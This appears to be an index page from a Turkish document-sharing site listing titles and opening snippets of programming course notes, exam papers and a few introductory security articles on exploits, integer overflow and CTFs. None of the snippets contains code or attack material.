Yrd. Doç. Dr. Caner ÖZCAN Diziler ile Pointer Arası İlişki Bir dizi adı sabit bir pointer gibi düşünülebilir. Diziler ile pointer lar yakından ilişkilidir. Pointer lar değişkenleri gösterdikleri gibi,
DetaylıBBM 341 Sistem Programlama
Öğrenci Adı Soyadı: Öğrenci Numarası: S1 S2 S3 S4 S5 Toplam Hacettepe Üniversitesi Bilgisayar Mühendisliği Bölümü BBM 341 Sistem Programlama Ara Sınav Tarih: 19 Kasım 2012 Süre: 105 dak. Sınava başlamadan
DetaylıKOCAELİ ÜNİVERSİTESİ BİLGİSAYAR MÜHENDİSLİĞİ. BİLGİSAYAR LABORATUVARI II FİNAL SINAVI SORU ve CEVAPLARI(I. ogr)
KOCAELİ ÜNİVERSİTESİ BİLGİSAYAR MÜHENDİSLİĞİ BİLGİSAYAR LABORATUVARI II FİNAL SINAVI SORU ve CEVAPLARI(I. ogr) 1. Kendisine gönderilen iki karakter dizisini birleştirip geriye tek bir dizi döndüren ve
DetaylıYrd. Doç. Dr. Caner ÖZCAN
Yrd. Doç. Dr. Caner ÖZCAN Fonksiyonu Referans ile Çağırma (Call by Reference) Bir fonksiyona gönderilen parametrenin normalde değeri değişmez. Fonksiyon içinde yapılan işlemlerin hiçbiri argüman değişkeni
DetaylıSIMAN KULLANIM KILAVUZU
SIMAN KULLANIM KILAVUZU Önder Öndemir SIMAN Simülasyon programı Model Çatı ve Deneysel Çatı olmak üzere iki kısımdan oluşur. Model çatı genel itibariyle modullerin ve işlem bloklarının yazıldığı kısımdır.
DetaylıBASİT C PROGRAMLARI Öğr.Gör.Dr. Mahmut YALÇIN
BASİT C PROGRAMLARI Öğr.Gör.Dr. Mahmut YALÇIN Basit C Programları: Bir Metni Yazdırmak #include /* program çalışmaya main fonksiyonundan başlar*/ int main() { printf( "C diline hoşgeldiniz!\n"
DetaylıTelefon Rehberi Uygulaması
Sayfa1 Telefon Rehberi Uygulaması Uygulama, temel düzeyde, telefon rehberi üzerinedir. Kullanıcı, telefon rehberine eklediği her bir kayıt içi ad, soyad, ev telefonu ve üç adet cep telefonu bilgisi girebilmektedir.
DetaylıBİL 220 Sistem Programlamaya Giriş
Öğrenci Adı Soyadı: Öğrenci Numarası: S1 S2 S3 S4 S5 S6 S7 Toplam Hacettepe Üniversitesi Bilgisayar Mühendisliği Bölümü BİL 220 Sistem Programlamaya Giriş Ara Sınav 1 Tarih: 29 Mart 2012 Süre: 140 dak.
DetaylıFonksiyonlar. C++ ve NESNEYE DAYALI PROGRAMLAMA 51. /* Fonksiyon: kup Bir tamsayının küpünü hesaplar */ long int kup(int x) {
Fonksiyonlar Kendi içinde bağımsız olarak çalışabilen ve belli bir işlevi yerine getiren program modülleridir. C programları bu modüllerden (fonksiyonlar) oluşurlar. Fonksiyonların yazılmasındaki temel
DetaylıBLM 112- Programlama Dilleri II. Hafta 5 İşaretçiler (Pointers)
1 BLM 112- Programlama Dilleri II Hafta 5 İşaretçiler (Pointers) Dr. Öğr. Üyesi Caner Özcan Hiç hata yapmayan insan, hiçbir şey yapmayan insandır. Ve hayatta en büyük hata, kendini hatasız sanmaktır. ~Y.
DetaylıBLM 111 ALGORİTMA VE PROGRAMLAMA I
1 BLM 111 ALGORİTMA VE PROGRAMLAMA I DİZİLER (ARRAYS) Kullanıcıdan N tane tamsayı, xi, alalım ve 1. Bu sayıların ortalamasını hesaplamak isteyelim ort = 0; for (i=0; i
DetaylıTemel Bilgisayar Programlama Final Sınavı Çalışma Notları
Diziler Temel Bilgisayar Programlama Final Sınavı Çalışma Notları (Dr. Övünç ÖZTÜRK, Dr. Tahir Emre KALAYCI) (İnşaat Mühendisliği ve Gıda Mühendisliği Grupları İçin) Diziler aynı türden bilgileri saklamak
DetaylıHSancak Nesne Tabanlı Programlama I Ders Notları
DİZİLER Bellekte ard arda yer alan aynı türden nesneler kümesine dizi (array) denilir. Bir dizi içerisindeki bütün elemanlara aynı isimle ulaşılır. Yani dizideki bütün elemanların isimleri ortaktır. Elemanlar
DetaylıHafta 12 Karakter Tutan Diziler
BLM111 Programlama Dilleri I Hafta 12 Karakter Tutan Diziler Yrd. Doç. Dr. Caner ÖZCAN Katar (String) Tanımlama Dizileri ve çok boyutlu dizileri gördük. Katar dediğimiz şey de aslında bir dizidir. Değişken
DetaylıINTEGER OVERFLOW ***************************************************************/
INTEGER OVERFLOW BELGE HAKKINDA Bu belge "GNU Free Documentation Licence" ile kaynak gösterilmek ve önceden yazarından izin alınmak kaydıyla yeniden yayınlanabilir. Bu belgedeki eksik, yanlış ya da geliştirilmesi
DetaylıGENEL GĐRĐŞ-ÇIKIŞ FONKSĐYONLARI. ENF102 Jeoloji 1. #include <stdio.h> printf Fonksiyonu ÖRNEK. printf
Giriş GENEL GĐRĐŞ-ÇIKIŞ FONKSĐYONLARI printf Fonksiyonu scanf Fonksiyonu Verilerin kaybolmaması için hafızada değişkenler içine yerleştirilmeleri gerekir. Bu veriler iki şekilde yerleştirilebilir. Değişkene
DetaylıC dilinde if-else yapısı
C dilinde if- yapısı Merhaba arkadaşlar, bu başlık altında sizlere koşullu ifadelerden bahsedeceğim. Peki nedir bu koşullu ifadeler(if, if, )? Bunu bir koşulun gerçekleşmesine bağlı olarak gerçekleşen
DetaylıBM-209 Nesne Yönelimli Programlama. Yrd. Doç. Dr. İbrahim Alper Doğru Gazi Üniversitesi Teknoloji Fakültesi Bilgisayar Mühendisliği Bölümü
BM-209 Nesne Yönelimli Programlama Yrd. Doç. Dr. İbrahim Alper Doğru Gazi Üniversitesi Teknoloji Fakültesi Bilgisayar Mühendisliği Bölümü Java Programlama Dili Java bayt kodları Java Sanal Makineleri üzerinde
Detaylı8086 Mikroişlemcisi Komut Seti
8086 Mikroişlemcisi Komut Seti X86 tabanlı mikroişlemcilerin icra ettiği makine kodları sabit olmasına rağmen, programlama dillerinin komut ve ifadeleri farklı olabilir. Assembly programlama dilininde
DetaylıAHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ
AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ TBIL-303-01 Veri Yapıları ve Algoritmalar LABİRENT HAZIRLAYAN 122132151 Fahri DÖNMEZ DANIŞMAN
DetaylıC Programlama Dilinde Değişkenler
C Programlama Dilinde Değişkenler Değişkenler bir programlama dilinin en önemli bileşenlerindendir. En basit bir aritmetik işlemin bile kullanıcının girdiği değerleri saklamak için çeşitlik bellek alanlarına
DetaylıSınav tarihi : Süre : 60 dak.
Selçuk Üniversitesi, Mühendislik Fakültesi, Harita Mühendisliği Bölümü Final Sınavı Test Soruları Adı soyadı : Öğrenci no : Sınav tarihi : 31.05.2016 Süre : 60 dak. 1. Ekranda ne görüntülenir? int i =
DetaylıAkış Şeması (Flowchart) nedir? C Programlamaya giriş için yol haritası
Akış Şeması (Flowchart) nedir? Akış Şeması (Flowchart) nedir? Algoritma nedir? Algoritma nedir? C Programlamaya giriş için yol haritası C programlamaya başlangıç için tavsiye edilen yol haritası aşağıdaki
DetaylıKabuk Programlama (Bash)
Kabuk Programlama (Bash) Erkan Esmer Ocak, 2013 İçindekiler 1 Giriş.................................................... 2 2 Kabuk(Shell)............................................... 3 3 Çekirdek(Kernel).............................................
DetaylıÖzyineleme (Recursion)
C PROGRAMLAMA Özyineleme (Recursion) Bir fonksiyonun kendisini çağırarak çözüme gitmesine özyineleme (recursion), böyle çalışan fonksiyonlara da özyinelemeli (recursive) fonksiyonlar denilir. Özyineleme,
DetaylıBLM-112 PROGRAMLAMA DİLLERİ II. Ders-3 İşaretçiler (Pointer) (Kısım-2)
BLM-112 PROGRAMLAMA DİLLERİ II Ders-3 İşaretçiler (Pointer) (Kısım-2) Yrd. Doç. Dr. Ümit ATİLA umitatila@karabuk.edu.tr http://web.karabuk.edu.tr/umitatilla/ Dinamik Bellek Yönetimi Bir program çalıştırıldığında
Detaylı1. Aşağıdaki program parçacığını çalıştırdığınızda result ve param değişkenlerinin aldığı en son değerleri ve programın çıktısını yazınız.
1. Aşağıdaki program parçacığını çalıştırdığınızda result ve param değişkenlerinin aldığı en son değerleri ve programın çıktısını yazınız. [10 puan] int param = 30; int result = 300; if (param > 45) result
DetaylıPROGRAMLAMAYA GİRİŞ FONKSİYONLAR
PROGRAMLAMAYA GİRİŞ FONKSİYONLAR Fonksiyonlar C programlama dili fonksiyon olarak adlandırılan alt programların birleştirilmesi kavramına dayanır. Bir C programı bir ya da daha çok fonksiyonun bir araya
DetaylıQt ile Bir Ağ Uygulaması
Qt ile Bir Ağ Uygulaması Aykut Aksoy aykutaksoy@myway.com sürüm 1.0 Özet Bu belge Qt ile hazırlanmış bir ağ uygulamasını anlatır. C++ bilinmesi beklenir. Bu belgede "QProcess.h" kütüphanesine ağırlık verilmiştir.
DetaylıDiziler (Arrays) Çok Boyutlu Diziler
Diziler (Arrays) Çok Boyutlu Diziler ÇOK BOYUTLU DİZİLER Birden fazla indis numarası ile elemanlarına ulaşılan dizilere çok boyutlu diziler denir. Bunlardan en sık kullanılanı çift boyutlu dizilerdir.
Detaylı8. İŞARETCİLER (POINTERS)
8. İŞARETCİLER (POINTERS) Verilerin bilgisayar hafızasında tutulduğu fiziki alan adres olarak tanımlanabilir. Adres, hem donanımla hem de yazılımla ilişkilidir. Donanımsal açıdan adres bellekte yer gösteren
DetaylıDiziler. Yrd.Doç.Dr.Bülent ÇOBANOĞLU
Diziler Yrd.Doç.Dr.Bülent ÇOBANOĞLU Dizi (Array) Nedir? Bellekte sürekli yer kaplayan artarda sıralanmış aynı türden verilerin oluşturduğu kümeye dizi (array) denir. Dizi, çok fazla miktardaki tek tip
DetaylıGiriş. ENF102 Jeoloji
DİZİLER Arrays Giriş Aynı isim altında, aynı türde birden fazla değer tutmak için kullanılan veri yapılarıdır (Data Structure). Dizi bir kümedir; aynı türde verilere tek bir isimle erişmek için kullanılır.
DetaylıUzaktan Eğitim Uygulama ve Araştırma Merkezi
JAVA PROGRAMLAMA Öğr. Gör. Utku SOBUTAY İÇERİK 2 Java da Fonksiyon Tanımlamak Java da Döngüler Java da Şart İfadeleri Uygulamalar Java da Fonksiyon Tanımlamak JAVA DA FONKSİYON TANIMLAMAK 4 Fonksiyonlar;
DetaylıFONKSİYONLAR. Gerçek hayattaki problemlerin çözümü için geliştirilen programlar çok büyük boyutlardadır.
C PROGRAMLAMA FONKSİYONLAR Gerçek hayattaki problemlerin çözümü için geliştirilen programlar çok büyük boyutlardadır. Daha büyük programlar yazmanın en kolay yolu onları küçük parçalar halinde yazıp sonra
DetaylıC Programlama printf() Fonksiyonu
C Programlama printf() Fonksiyonu Standart C kütüphanesinin bir parçası olan printf() C Programlama Dili'nin genel amaçlı çıktı alma fonksiyonudur. Girdi ve çıktı deyimleri gerçekte C dilinin bir parçası
DetaylıFonksiyonlar (Altprogram)
Fonksiyonlar (Altprogram) C Programlama Dili fonksiyon olarak adlandırılan alt programların birleştirilmesi kavramına dayanır. Bir C programı bir ya da daha çok fonksiyonun bir araya gelmesi ile oluşur.
DetaylıMetasploit Framework ile Exploit Geliştirme. Fatih Özavcı Canberk Bolat
Metasploit Framework ile Exploit Geliştirme Fatih Özavcı Canberk Bolat Bilgi Güveniği Danışmanı Güvenlik Araştırmacısı fatih.ozavci at gamasec.net canberk.bolat at gmail dotcom gamasec.net/fozavci cbolat.blogspot.com
DetaylıExploit.CVE-2012-0003 Analizi
Exploit.CVE-2012-0003 Analizi Celil ÜNÜVER cunuver [at] signalsec.com www.signalsec.com Hackerların yer altı dünyasında Patch Tuesday, Exploit Wednesday diye bir söz vardır. Microsoft Salı günü yamaları
DetaylıBLM401 Mobil Cihazlar için ANDROİD İşletim Sistemi GÜVENLİK VE İZİNLER. BLM401 Dr.Refik SAMET
BLM401 Mobil Cihazlar için ANDROİD İşletim Sistemi GÜVENLİK VE İZİNLER BLM401 Dr.Refik SAMET 1 GİRİŞ (1/3) Güvenlik, verilerin veya bilgilerin saklanması, kullanılması ve taşınması esnasında bilgilerin
DetaylıAHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ
AHMET YESEVİ ÜNİVERSİTESİ BİLİŞİM SİSTEMLERİ VE MÜHENDİSLİK FAKÜLTESİ BİLGİSAYAR MÜHENDİSLİĞİ LİSANS DÖNEM ÖDEVİ TBIL-303-01 Veri Yapıları ve Algoritmalar İki Yönlü Bağlantılı Liste Uygulaması HAZIRLAYAN
Detaylıİstanbul Teknik Üniversitesi IEEE Öğrenci Kolu DİZİLER
DİZİLER Dizi Nedir? Aynı türden nesnelerin oluşturduğu, bellekte bitişik bir biçimde bulunan veri yapısına dizi denir.mesela alfabe diye bir dizi tanımlarız, harfleri a,b,c,d... diye sıralarız.dizinin
DetaylıJSON Korsanlığı. Mesut Timur, Şubat 2010, WGT E-Dergi 4. Sayı
JSON Korsanlığı Mesut Timur, Şubat 2010, WGT E-Dergi 4. Sayı İnternetin gün geçtikçe hayatımızdaki önemi arttı ve web siteleri milyonlarca insan tarafından girilen yerler haline geldi. Artık çevremizden
DetaylıProgramlama Dilleri 1. Ders 4: Diziler
Programlama Dilleri 1 Ders 4: Diziler Genel Bakış Tanım Dizilerin tanımlanması Dizilere ilk değer verilmesi Yerel ve Global diziler Dizilerin birbirine atanması Diziler ile ilgili örnekler Çalışma soruları
DetaylıBİL-142 Bilgisayar Programlama II
BİL-142 Bilgisayar Programlama II (C/C++) Hazırlayan: M.Ali Akcayol Gazi Üniversitesi Bilgisayar Mühendisliği Bölümü Konular Giriş Sınıflar, Nesneler, Fonksiyon ve Veri Üyeleri Sınıf ve Fonksiyon Üyeleri
DetaylıAdresleme Modları. Mikroişlemciler ve Mikrobilgisayarlar
Adresleme Modları 1 Adresleme Modları İşlenenin nerede olacağını belirtmek için kullanılırlar. Kod çözme aşamasında adresleme yöntemi belirlenir ve işlenenin nerede bulunacağı hesaplanır. Mikroişlemcide
DetaylıYAPILAR BİRLİKLER SAYMA SABİTLERİ/KÜMELERİ. 3. Hafta
YAPILAR BİRLİKLER SAYMA SABİTLERİ/KÜMELERİ 3. Hafta YAPILAR Farklı veri tipindeki bilgilerin bir araya gelerek oluşturdukları topluluklara yapı (structure) denir. Yani yapılar, birbiriyle ilişkili değişkenlerin
Detaylı/ C Bilgisayar Programlama Yıliçi Sınavı Test Soruları. Adı soyadı :... Öğrenci no :... İmza :... Tarih, Süre : , 60 dak.
Selçuk Üniversitesi Mühendislik-Mimarlık Fakültesi Harita Mühendisliği Bölümü Yıliçi Sınavı Test Soruları dı soyadı :... Öğrenci no :... İmza :... Tarih, Süre :26.11.2012, 60 dak. Dikkat!!! Soru kitapçığında
DetaylıBölüm 3: Adresleme Modları. Chapter 3: Addressing Modes
Bölüm 3: Adresleme Modları Chapter 3: Addressing Modes 3 1 Veri Adresleme Modları MOV komutu veriyi bir bellek satırından diğer bellek satırına yada yazaca kopyalar Kaynak (source) verilin okunacağı belleğin
DetaylıÇOK BOYUTLU DİZİLER VE DİNAMİK BELLEK YÖNETİMİ İLE İLGİLİ ÖRNEKLER
ÇOK BOYUTLU DİZİLER VE DİNAMİK BELLEK YÖNETİMİ İLE İLGİLİ ÖRNEKLER // 5 adet ogrenci icin 8 adet sinavi // temsil etmesi icin bir ogrenci tablosu // olusturuyoruz. Bunun icin 5x8 bir matris // yaratilmasi
Detaylıint faktoriyel(int sayi) { int sonuc = 1; for(int i=sayi;i>0;i--) sonuc*=i; return sonuc; } int main() { int sayi = faktoriyel(5); }
FONKSİYONLAR Fonksiyon, programcı tarafından seçilen bir kod bloğuna isim vermek için kullanılan araçtır. Fonksiyon ismi program içerisinde çağrıldığında fonksiyonun temsil ettiği kod çalıştırılır. Örneğin
DetaylıÇoktan Seçmeli Değerlendirme Soruları Akış Şemaları İle Algoritma Geliştirme Örnekleri Giriş 39 1.Gündelik Hayattan Algoritma Örnekleri 39 2.Say
İÇİNDEKİLER 1. Bilgisayarın Yapısı Ve Programlama Dilleri Giriş 1 Bilgisayar ve Programlamanın Kısa Bir Tarihçesi 2 Donanım ve Yazılım Kavramları 3 Bilgisayarın Donanımsal yapısı 4 Giriş Birimi (Input
DetaylıC# nedir,.net Framework nedir?
1 C# nedir,.net Framework nedir? C# nedir? C#, C/C++ ve Java dillerinde türetilmiş,bu dillerin dezavantajlarının elenip iyi yönlerinin alındığı, güçlü basit, esnek, tip-güvenli(typesafe,tür dönüşümlerindeki
DetaylıSınav tarihi : Süre : 60 dak. a) ABCDE b) BCDE c) ABCD d) kod hatalı e) BCD
Selçuk Üniversitesi, Mühendislik Fakültesi, Harita Mühendisliği Bölümü Yıliçi Sınavı Test Soruları Adı soyadı : Öğrenci no : Sınav tarihi : 13.04.2015 Süre : 60 dak. 1. Hangisi gerçek sayı değişmezi değildir?
DetaylıDr. Fatih AY Tel: 0 388 225 22 55 fatihay@fatihay.net www.fatihay.net
Bilgisayar Programlama Ders 1 Dr. Fatih AY Tel: 0 388 225 22 55 fatihay@fatihay.net www.fatihay.net Bilgisayar Programlamaya C ile Programlamaya Yazılım: Bilgisayarın işlemler yapması ve karar vermesi
DetaylıBig Endian & Little Endian K.Atilla Toker İzmir Üniversitesi Meslek Yüksek Okulu Bilgisayar Programcılığı 11-2009 Ver:01
Bilgisayar i Mimarisii i Big Endian & Little Endian K.Atilla Toker İzmir Üniversitesi Meslek Yüksek Okulu Bilgisayar Programcılığı 11-2009 Ver:01 İZMIR ÜNIVERSITESI İZMIR ÜNIVERSITESI MYO BILGISAYAR PROGRAMLAMA
DetaylıC Konsol ve Komut Satırı
C Konsol ve Komut Satırı Öğr. Gör. M. Ozan AKI Rev 1.0 C:\> Konsol ekranı, işletim sistemi ve dosya yönetiminin metin tabanlı yönetilebilmesini sağlayan arabirimdir. Windows işletim sistemi ortaya çıkmadan
DetaylıKONTROL VE OTOMASYON KULÜBÜ
KONTROL VE OTOMASYON KULÜBÜ C DİLİ İLE MİKROKONTROLÖR PROGRAMLAMA EĞİTİMİ Serhat Büyükçolak Ahmet Sakallı 2009-2010 Güz Dönemi Eğitimleri Mikrokontrolör Gömülü sistemlerin bir alt dalı olan mikrokontrolör
DetaylıÖğr. Gör. Serkan AKSU http://www.serkanaksu.net. http://www.serkanaksu.net/ 1
Öğr. Gör. Serkan AKSU http://www.serkanaksu.net http://www.serkanaksu.net/ 1 JavaScript JavaScript Nedir? Nestcape firması tarafından C dilinden esinlenerek yazılmış, Netscape Navigator 2.0 ile birlikte
DetaylıCSD İŞLETİM SİSTEMİNDE SİSTEM FONKSİYONLARININ ÇAĞIRILMASI
CSD İŞLETİM SİSTEMİNDE SİSTEM FONKSİYONLARININ ÇAĞIRILMASI 07.07.2003 Burak DEMİRKOL Atılım BOY [v 1.0] Özet : Bu makalede CSD İşletim sisteminin sistem fonksiyonlarının user mod dan (ring 3) kernel mod
DetaylıPython Programlama Dili
Python Programlama Dili 3. Python da Döngüler Bu bölümde iki tane döngüden bahsedeceğiz: while ve for döngüleri. Ayrıca bu bölümde döngüler dışında break ve continue deyimleri ile range() ve len() fonksiyonlarına
DetaylıDİZİLER-KATARLAR ALGORİTMA VE PROGRAMLAMA II
DİZİLER-KATARLAR ALGORİTMA VE PROGRAMLAMA II DİZİLER Dizi, aynı tipteki verilere tek bir isimle erişmek için kullanılan bir kümedir. Bir dizi bildirildikten sonra, dizinin bütün elemanları bellekte peşpeşe
DetaylıExploit Nedir, Nasıl Kullanılır?
Exploit Nedir, Nasıl Kullanılır? İşletim sistemlerin çok kullanıcılı sistemlerde kullanılmaya başlamasıyla birlikte sistemlerde kullanıcıların yetkisi de sözkonusu olmuştur. Kişisel işletim Sistemlerinde
DetaylıJava 2 Standart Edition SDK Kurulum ve Java ya Giriş
Kurulum için ilk önce Sun Microsystems in sitesinden uygun J2SE sürümünü indirin. Ben J2SE v1. 4. 2_16 Windows Installer paketini kullandım J2SE SDK Kurulumu aşağıdaki gibi başlayacaktır. 1 Kurulum tamamlandıktan
DetaylıDenetim Masası/Programlar/Windows özelliklerini Aç/Kapat
Merhaba arkadaşlar, Bu yazımızda yerel ağda veya Ip adresimizle bir web sitesinin paylaşıma açılması, aynı ağdan veya uzaktan bir bilgisayarın web sitemize nasıl erişebileceği konuları üzerinde duracağız.
DetaylıŞehmus POLAT Teknoloji Fakültesi
Şehmus POLAT Teknoloji Fakültesi Elektrik-Elektronik Mühendisliği CTF Nedir? Capture the Flag (Bayrağı yakala), siber güvenlik alanında düzenlenen ve katılımcıların; kriptoloji, tersine mühendislik, log
DetaylıFinal Sınavı Soruları Güz, Süre: 90 Dakika
Manisa Celal Bayar Üniversitesi Yazılım Mühendisliği Bölümü YZM 1105- Algoritma ve Programlama I Final Sınavı Soruları Güz, 2018-2019 Süre: 90 Dakika Derse Kayıtlı Olduğunuz Grubun Öğretim Üyesini (X)
DetaylıİNTERNET PROGRAMCILIĞI - II
0 İÇİNDEKİLER Bölüm 1 PHP İle Web Programlamaya Giriş 1 Bölüm 2 PHP Kodlama Standartları 5 Bölüm 3 PHP Değişken Kullanımı 17 Bölüm 4 IF Yapısı 32 Bölüm 5 Döngüler ve Diziler 64 1 BÖLÜM 1 PHP İLE WEB PROGRAMLAMAYA
DetaylıDÖNGÜLER (LOOPS) while(), do-while(), for(), foreach()
(LOOPS) while(), do-while(), for(), foreach() Döngüler (loops) while do-while for foreach while ( koşul ) işlemler; do işlemler; while (koşul ); for (başlangıç ; koşul ; arttırma) işlemler; foreach ( tip
DetaylıAndroid Ders Notları
Android Ders Notları 1. Yeni Bir Proje Başlatma Android Studio programında yeni bir proje başlatıyoruz. İlk olarak karşımıza resim 1 deki gibi bir pencere gelecek. Burada Application name kısmına proje
DetaylıESM-361 Mikroişlemciler. 3. Hafta Ders Öğretim Üyesi Dr.Öğr.Üyesi Ayşe DEMİRHAN
ESM-361 Mikroişlemciler 3. Hafta Ders Öğretim Üyesi Dr.Öğr.Üyesi Ayşe DEMİRHAN Bit operatörleri Bit operatörleri bit düzeyinde işlem yapan operatörlerdir; yani sayıları bir bütün olarak değil, bit bit
DetaylıGenel Programlama II
Genel Programlama II 22.03.2011 1 Yapılar ( Structures ) Yapılar ( structures ); tam sayı, karakter vb. veri tiplerini gruplayıp, tek bir çatı altında toplar. Bu gruplandırma içinde aynı ya da farklı veri
DetaylıHafta 13 Fonksiyonlar
BLM111 Programlama Dilleri I Hafta 13 Fonksiyonlar Yrd. Doç. Dr. Caner ÖZCAN Fonksiyonlar Fonksiyonlar C de modüller Programlar kullanıcı tanımlı fonksiyonları ve kütüphane fonksiyonlarını birlikte kullanırlar.
DetaylıTemel Linux Eğitimi 1., 2. ve 3. Bölümler
Süha TUNA Bilişim Enstitüsü UHeM Yaz Çalıştayı - 11.06.2012 İçerik 1. Linux, Kavramlar ve Dizin Yapısı 2. Temel Linux Komutları 3. Sunucuya Uzaktan Bağlanma 1. Linux, Kavramlar ve Dizin Yapısı Linux Linux,
Detaylıwhile(), do-while(), for() M.İLKUÇAR 2010 MAKU-MYO
while(), do-while(), for() Döngü (loop) : Bir koşul sağlandığı (true olduğu) sürece bir veya birden çok komutun tekrarlanması işlemidir. Java Döngüler (loops) While() do-while() for ( ) while ( koşul )
DetaylıÖnemli noktalar. Paradigma Nesnelere Giriş Mesajlar / Ara bağlantılar Bilgi Gizleme (Information Hiding ) Sınıflar(Classes) Kalıtım/Inheritance
Önemli noktalar Paradigma Nesnelere Giriş Mesajlar / Ara bağlantılar Bilgi Gizleme (Information Hiding ) Sınıflar(Classes) Kalıtım/Inheritance public class Test { // çalışır İnsan insan = new Çiçekçi();
DetaylıBİL 220 Sistem Programlamaya Giriş
Öğrenci Adı Soyadı: Öğrenci Numarası: S S S S4 S Toplam Hacettepe Üniversitesi Bilgisayar Mühendisliği Bölümü BİL 0 Sistem Programlamaya Giriş. Ara Sınav Tarih: Mayıs 0 Süre: 0 dak. Sınava başlamadan önce
DetaylıSTRİNG DİZİLER(KATARLAR)
STRİNG DİZİLER(KATARLAR) Giriş Katar bir char tipinde bildirilen karakter dizisidir. Katarlar (strings), içeriği harfler, rakamlar, veya bazı semboller olan text bilgilerini tutmak(saklamak) için kullanılır.
DetaylıMAT213 BİLGİSAYAR PROGRAMLAMA I DERSİ Ders 1: Programlamaya Giriş
MAT213 BİLGİSAYAR PROGRAMLAMA I DERSİ Ders 1: Programlamaya Giriş Yard. Doç. Dr. Alper Kürşat Uysal Bilgisayar Mühendisliği Bölümü akuysal@anadolu.edu.tr Ders Web Sayfası: http://ceng.anadolu.edu.tr/ders.aspx?dersid=101
DetaylıAdım Adım C-II. Eksik kalmış konular
Adım Adım C-II Eksik kalmış konular Bu dersin amacı Bu derste; değişkenler, sabitler ve operatörler ile fonksiyonlar konusunun detayları anlatılacaktır. Ders bitiminde; Daha etkin programlar yazma becerisinin
DetaylıBÖLÜM 1b: C++ PROGRAMLAMANIN YAPISI. C++, hard diskte TC, BIN, INCLUDE, LIB gibi alt dizinlere yüklenir.
BÖLÜM 1b: C++ PROGRAMLAMANIN YAPISI C++, hard diskte TC, BIN, INCLUDE, LIB gibi alt dizinlere yüklenir. TC programı çalıştırıldığında C++ çalışma ortamı açılır. C++ çalışma ortamında istenirse yeni bir
Detaylı/* Çember alanını hesaplar */
ÖNİŞLEME KOMUTLARI /* Çember alanını hesaplar */ #include #define PI 3.14 int yaricap; float alan; printf( "Çemberin yarı çapını giriniz> " ); scanf( "%d", &yaricap ); alan = PI * yaricap * yaricap;
DetaylıBölüm 10. Altprogramların gerçeklenmesi ISBN 0-0-321-49362-1
Bölüm 10 Altprogramların gerçeklenmesi ISBN 0-0-321-49362-1 10. Bölüm konuları Çağırma / geri dönme semantiği Yığıt-dinamik yerel değişkeni olan altprogramların gerçeklenmesi İçiçe altprogramlar Statik
DetaylıWebInstaller. 1. Kurulum Đçin Gereksinimler
WebInstaller Ürün Grubu [X] Fusion@6 [X] Fusion@6 Standard Kategori [X] Yeni Fonksiyon Versiyon Önkoşulu @6 Uygulama E-Netsis.Net uygulamasının kurulumu Netsis\ENetsis.Net\Kurulum dizininde bulunan NetsisWebInstall.exe
DetaylıBLM-111 PROGRAMLAMA DİLLERİ I. Ders-12 Fonksiyonlar. Yrd. Doç. Dr. Ümit ATİLA
BLM-111 PROGRAMLAMA DİLLERİ I Ders-12 Fonksiyonlar Yrd. Doç. Dr. Ümit ATİLA umitatila@karabuk.edu.tr http://web.karabuk.edu.tr/umitatilla/ Fonksiyonlar Fonksiyonlar C de modüller Programlar kullanıcı tanımlı
DetaylıGenel Programlama II
Genel Programlama II 08.03.2011 1 Çok Boyutlu Diziler Önceki derslerimizde dizileri görmüştük. Kısaca özetleyecek olursak, belirlediğimiz sayıda değişkeni bir sıra içinde tutmamız, diziler sayesinde gerçekleşiyordu.
DetaylıProgram Nedir? Program, bir problemin çözümü için herhangi bir programlama dilinin kuralları ile oluşturulmuş komut kümesidir.
PROGRAMLAMAYA GİRİŞ Program Nedir? Program, bir problemin çözümü için herhangi bir programlama dilinin kuralları ile oluşturulmuş komut kümesidir. C de yazılan bir programın çalışması için çoğunlukla aşağıdaki
Detaylı2.Eclipse açıldıktan sonra Workspace alanı seçilmesi gerekir. Workspace alanı projelerinizin fiziksel olarak bulunduğu kısımdır.
1.Eclipse http://www.eclipse.org/downloads/download.php?file=/technology/epp/downloads/release/juno/s R2/eclipse-jee-juno-SR2-win32.zip&mirror_id=1163 linkinden indiriyoruz. 2.Eclipse açıldıktan sonra
DetaylıBLM-111 PROGRAMLAMA DİLLERİ I. Ders-11 Karakter Diziler. Yrd. Doç. Dr. Ümit ATİLA
BLM-111 PROGRAMLAMA DİLLERİ I Ders-11 Karakter Diziler Yrd. Doç. Dr. Ümit ATİLA umitatila@karabuk.edu.tr http://web.karabuk.edu.tr/umitatilla/ Karakter ve String Karakter Karakter bir sabit tek tırnak
Detaylı